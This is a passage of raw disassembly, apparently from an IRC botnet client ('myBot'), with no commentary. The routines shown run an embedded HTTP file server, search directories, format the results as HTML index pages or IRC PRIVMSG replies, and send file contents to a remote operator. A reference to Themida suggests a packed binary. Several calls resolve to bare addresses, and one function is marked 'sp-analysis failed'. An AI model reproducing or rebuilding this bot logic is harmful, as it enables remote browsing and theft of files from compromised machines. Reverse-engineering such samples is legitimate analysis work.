		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------


loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 26A047Ah
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AA8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 271092Ch
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2750AD6h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2670858h


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		call	near ptr 26903FCh
		nop
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		call	near ptr 2690DCCh
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A3C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25D0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2760855h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 26903FCh


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2780000h
		nop
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		call	near ptr 2760000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi


loc_410000:				; DATA XREF: Themida_:00541894o
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 271092Ch
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	near ptr 2750AD6h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:00437A30o
					; ___:00437A44o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2790000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2710000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 2670858h


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
